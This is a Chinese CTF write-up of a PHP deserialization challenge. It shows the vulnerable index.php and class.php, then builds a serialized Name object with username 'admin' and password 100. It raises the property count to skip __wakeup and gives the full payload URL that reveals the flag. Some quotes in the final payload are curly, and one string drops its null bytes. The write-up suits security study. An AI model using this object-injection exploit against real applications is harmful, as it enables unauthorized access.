打开环境
提示说有备份,直接拿御剑扫吧。
网速不太好,线程调很低才扫到目录
访问之后下载zip文件
在index.php中看到了传参方式:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
通过select传入参数
打开class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
如果username=admin且password=100,就会返回flag
开始构造
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
$b = serialize($a);
echo $b;
?>
执行后得到
这里需要绕过weekup函数:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
也就是Name后面的数字大于2就可以绕过了
O:4:"Name":10:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
只有public修饰的不用太多的修饰原生态构造就好,而private需要加%00Name%00,protected则需要使用 %00*%00username这样的方式
O:4:"Name":10:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
利用select传参,
最后的payload:
http://c7074e10-d357-4611-938a-2993a287ad40.node3.buuoj.cn/?select=O:4:“Name”:10:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
得到flag